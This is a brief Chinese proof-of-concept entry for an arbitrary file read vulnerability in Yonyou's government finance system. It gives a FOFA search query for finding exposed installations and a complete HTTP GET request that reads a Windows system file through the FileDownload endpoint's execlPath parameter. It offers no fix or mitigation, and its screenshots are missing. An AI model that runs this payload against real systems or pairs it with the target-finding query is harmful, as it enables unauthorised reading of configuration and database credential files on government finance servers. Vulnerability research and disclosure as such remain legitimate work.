# Y28-1用友-政务财务系统-任意文件读取

## 漏洞描述：

用友政务财务系统 FileDownload 接口存在任意文件读取漏洞，未经身份攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态

**网站图片：**


## 网络测绘：

**fofa语法：**

app="用友-政务财务系统" || body="/df/portal/getYearRgcode.do"

## 漏洞复现：

payload：

```
GET /bg/attach/FileDownload?execlPath=C://Windows//win.ini  HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

效果图: